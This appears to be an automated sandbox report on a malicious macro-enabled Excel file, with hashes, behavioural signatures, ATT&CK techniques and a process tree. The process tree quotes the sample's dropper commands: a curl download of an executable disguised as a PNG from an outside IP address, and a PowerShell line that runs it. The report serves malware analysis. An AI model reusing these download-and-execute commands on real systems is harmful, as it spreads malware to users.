55fd7bf4246338d1c8c8146ab23d51c7ae7025a33c281779baa3e0c6f934139d

General

Target

55fd7bf4246338d1c8c8146ab23d51c7ae7025a33c281779baa3e0c6f934139d.xlsm
Size

37KB
MD5

6d03789dc6e7a80cf274bdcce34faf7d
SHA1

2d310960a80eec96d9131a01703c0b53d7513cb5
SHA256

55fd7bf4246338d1c8c8146ab23d51c7ae7025a33c281779baa3e0c6f934139d
SHA512

0d51720e440f591c4c6eadf2882283b5515f9b947514750f5b91c3a26666d4a6321d42c342931ebebd7121627ca96ce7d78e6094eea89243fedf21e2fe3fed96

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1672	940	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1604	940	cmd.exe	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

940 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1672 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1672 powershell.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

EXCEL.EXE

pid process

940 EXCEL.EXE
940 EXCEL.EXE
940 EXCEL.EXE
940 EXCEL.EXE
940 EXCEL.EXE
940 EXCEL.EXE

pid	process
940	EXCEL.EXE

pid	process
1672	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1672	powershell.exe

pid	process
940	EXCEL.EXE
940	EXCEL.EXE
940	EXCEL.EXE
940	EXCEL.EXE
940	EXCEL.EXE
940	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 940 wrote to memory of 1672	940	EXCEL.EXE	powershell.exe
PID 940 wrote to memory of 1672	940	EXCEL.EXE	powershell.exe
PID 940 wrote to memory of 1672	940	EXCEL.EXE	powershell.exe
PID 940 wrote to memory of 1672	940	EXCEL.EXE	powershell.exe
PID 940 wrote to memory of 1604	940	EXCEL.EXE	cmd.exe
PID 940 wrote to memory of 1604	940	EXCEL.EXE	cmd.exe
PID 940 wrote to memory of 1604	940	EXCEL.EXE	cmd.exe
PID 940 wrote to memory of 1604	940	EXCEL.EXE	cmd.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\55fd7bf4246338d1c8c8146ab23d51c7ae7025a33c281779baa3e0c6f934139d.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:940

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\gDALZ.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1672

C:\Windows\SysWOW64\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\gDALZ.exe
2⤵
- Process spawned unexpected child process
PID:1604

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/940-60-0x0000000070D41000-0x0000000070D43000-memory.dmp

Filesize
8KB

Download
memory/940-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/940-59-0x000000002F2C1000-0x000000002F2C4000-memory.dmp

Filesize
12KB

Download
memory/1604-63-0x0000000000000000-mapping.dmp

Download
memory/1672-69-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

Filesize
4KB

Download
memory/1672-78-0x0000000006130000-0x0000000006131000-memory.dmp

Filesize
4KB

Download
memory/1672-65-0x0000000000850000-0x0000000000851000-memory.dmp

Filesize
4KB

Download
memory/1672-66-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1672-68-0x0000000004812000-0x0000000004813000-memory.dmp

Filesize
4KB

Download
memory/1672-67-0x0000000004810000-0x0000000004811000-memory.dmp

Filesize
4KB

Download
memory/1672-62-0x0000000000000000-mapping.dmp

Download
memory/1672-70-0x0000000004790000-0x0000000004791000-memory.dmp

Filesize
4KB

Download
memory/1672-73-0x0000000005740000-0x0000000005741000-memory.dmp

Filesize
4KB

Download
memory/1672-64-0x0000000075051000-0x0000000075053000-memory.dmp

Filesize
8KB

Download
memory/1672-79-0x00000000064B0000-0x00000000064B1000-memory.dmp

Filesize
4KB

Download
memory/1672-86-0x0000000006360000-0x0000000006361000-memory.dmp

Filesize
4KB

Download
memory/1672-87-0x0000000006540000-0x0000000006541000-memory.dmp

Filesize
4KB

Download
memory/1672-88-0x000000007EF20000-0x000000007EF21000-memory.dmp

Filesize
4KB

Download
memory/1672-89-0x00000000061F0000-0x00000000061F1000-memory.dmp

Filesize
4KB

Download
memory/1672-103-0x0000000006640000-0x0000000006641000-memory.dmp

Filesize
4KB

Download
memory/1672-104-0x0000000006650000-0x0000000006651000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads